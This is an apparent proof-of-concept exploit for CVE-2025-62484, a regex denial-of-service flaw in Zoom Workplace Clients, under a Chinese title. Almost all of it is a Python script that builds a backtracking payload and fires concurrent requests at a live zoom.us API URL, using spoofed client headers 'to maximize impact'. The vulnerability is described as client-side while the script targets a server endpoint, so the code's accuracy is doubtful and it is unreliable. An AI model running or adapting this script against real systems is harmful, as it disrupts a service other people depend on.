CVE-2025-62484: Zoom Workplace Clients 正则表达式复杂度拒绝服务漏洞

# CVE-2025-62484 PoC - Zoom Workplace Regex DoS # This PoC demonstrates the regex complexity issue in Zoom Workplace Clients import requests import time import concurrent.futures def create_malicious_payload(): """ Generate payload that triggers catastrophic backtracking Pattern like: (a+)+$ or similar nested quantifiers """ # Construct input that causes exponential backtracking base_pattern = "a" * 25 + "!" # Long run of 'a' followed by non-matching char return base_pattern def send_exploit(target_url, payload): """ Send malicious payload to Zoom endpoint """ headers = { 'User-Agent': 'Zoom-Workplace-Client/6.5.0', 'Content-Type': 'application/json', 'X-Client-Version': '6.5.0' } try: response = requests.post( target_url, json={'data': payload}, headers=headers, timeout=30 ) return response.status_code except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def main(): target = "https://zoom.us/api/v2/meetings/parse_invitation" payload = create_malicious_payload() print(f"[*] CVE-2025-62484 PoC - Zoom Regex DoS") print(f"[*] Target: {target}") print(f"[*] Payload length: {len(payload)}") # Send multiple requests concurrently to maximize impact with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(send_exploit, target, payload) for _ in range(5)] for future in concurrent.futures.as_completed(futures): result = future.result() print(f"[*] Request completed with status: {result}") print("[*] Exploit sent. Check Zoom client responsiveness.") if __name__ == "__main__": main()